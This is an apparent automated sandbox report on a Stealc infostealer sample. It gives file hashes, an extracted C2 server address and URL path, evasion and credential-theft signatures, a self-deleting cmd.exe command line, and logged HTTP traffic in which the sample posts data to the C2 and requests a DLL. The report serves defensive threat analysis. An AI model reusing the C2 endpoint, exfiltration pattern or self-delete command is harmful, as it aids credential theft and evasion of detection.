Overview

overview

10

Static

static

3

8cb31def2f...b4.exe

windows7-x64

10

8cb31def2f...b4.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    118s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    10/11/2024, 02:43 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4.exe

  • Size

    2.1MB

  • MD5

    94c83a670fb21a3981d357283a1449d4

  • SHA1

    f3aa1cc5e4e32ff8b04630383668ff31eeb72f00

  • SHA256

    8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4

  • SHA512

    282adcd0f18a3f0e2c189f0174cc0452fa9956aaafe322991286e51c011706e03774ad67f6ac9759cce6c7eb59ac1d25f4be57e98e9531a1618e45349c9f06aa

  • SSDEEP

    49152:K9kqWQB+CbiZnsrcQnMBRt8qbCNFPMyYyIuZkS:K9lPTbipsrTniCXNFPMxuv

Score
10/10
stealctalecredential_accessdiscoveryevasionspywarestealer

Malware Config

Extracted

Family

stealc

Botnet

tale

C2

http://185.215.113.206

Attributes
  • url_path

    /6c4adf523b719729.php

Signatures

  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4.exe
    "C:\Users\Admin\AppData\Local\Temp\8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2652
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4.exe" & del "C:\ProgramData\*.dll"" & exit
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2068
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 5
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:2560

Network

  • flag-ru
    GET
    http://185.215.113.206/
    8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4.exe
    Remote address:
    185.215.113.206:80
    Request
    GET / HTTP/1.1
    Host: 185.215.113.206
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sun, 10 Nov 2024 02:43:32 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 0
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----AAAAECGHCBGCBFHIIDHI
    Host: 185.215.113.206
    Content-Length: 210
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:43:32 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=99
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----JDBGHIIDAECBFIDHIIDG
    Host: 185.215.113.206
    Content-Length: 473
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:43:32 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=98
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----FHCGHJDBFIIDGDHIJDBG
    Host: 185.215.113.206
    Content-Length: 472
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:43:32 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=97
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----DBFIEHDHIIIECAAKECFH
    Host: 185.215.113.206
    Content-Length: 473
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:43:32 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=96
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----KFIJJEGHDAEBGCAKJKFH
    Host: 185.215.113.206
    Content-Length: 5212
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:43:33 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=95
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    GET
    http://185.215.113.206/746f34465cf17784/sqlite3.dll
    8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4.exe
    Remote address:
    185.215.113.206:80
    Request
    GET /746f34465cf17784/sqlite3.dll HTTP/1.1
    Host: 185.215.113.206
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:43:33 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----FCAFIJJJKEGIECAKKEHI
    Host: 185.215.113.206
    Content-Length: 472
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:43:33 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=93
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----DGCBAFIJDGHCAKECAEGC
    Host: 185.215.113.206
    Content-Length: 470
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:43:33 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=92
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----KKJKKJJKJEGIECAKJJEB
    Host: 185.215.113.206
    Content-Length: 465
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:43:33 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=91
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----BGIIDAEBGCAAECAKFHII
    Host: 185.215.113.206
    Content-Length: 465
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:43:33 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=90
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • 185.215.113.206:80
    http://185.215.113.206/6c4adf523b719729.php
    http
    8cb31def2f17ac26ddeaea048880afeeb27049fcc3dcf07a5f0382406cfeddb4.exe
    11.5kB
     5.8kB
     18
    17

    HTTP Request

    GET http://185.215.113.206/

    HTTP Response

    200

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    GET http://185.215.113.206/746f34465cf17784/sqlite3.dll

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404
No results found

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • \ProgramData\chrome.dll
    Filesize

    676KB

    MD5

    eda18948a989176f4eebb175ce806255

    SHA1

    ff22a3d5f5fb705137f233c36622c79eab995897

    SHA256

    81a4f37c5495800b7cc46aea6535d9180dadb5c151db6f1fd1968d1cd8c1eeb4

    SHA512

    160ed9990c37a4753fc0f5111c94414568654afbedc05308308197df2a99594f2d5d8fe511fd2279543a869ed20248e603d88a0b9b8fb119e8e6131b0c52ff85

    Download Submit

  • memory/2652-0-0x0000000000310000-0x0000000000A4C000-memory.dmp

    Filesize

    7.2MB

    Download

  • memory/2652-1-0x0000000077130000-0x0000000077132000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2652-2-0x0000000000311000-0x0000000000379000-memory.dmp

    Filesize

    416KB

    Download

  • memory/2652-3-0x0000000000310000-0x0000000000A4C000-memory.dmp

    Filesize

    7.2MB

    Download

  • memory/2652-8-0x0000000000310000-0x0000000000A4C000-memory.dmp

    Filesize

    7.2MB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.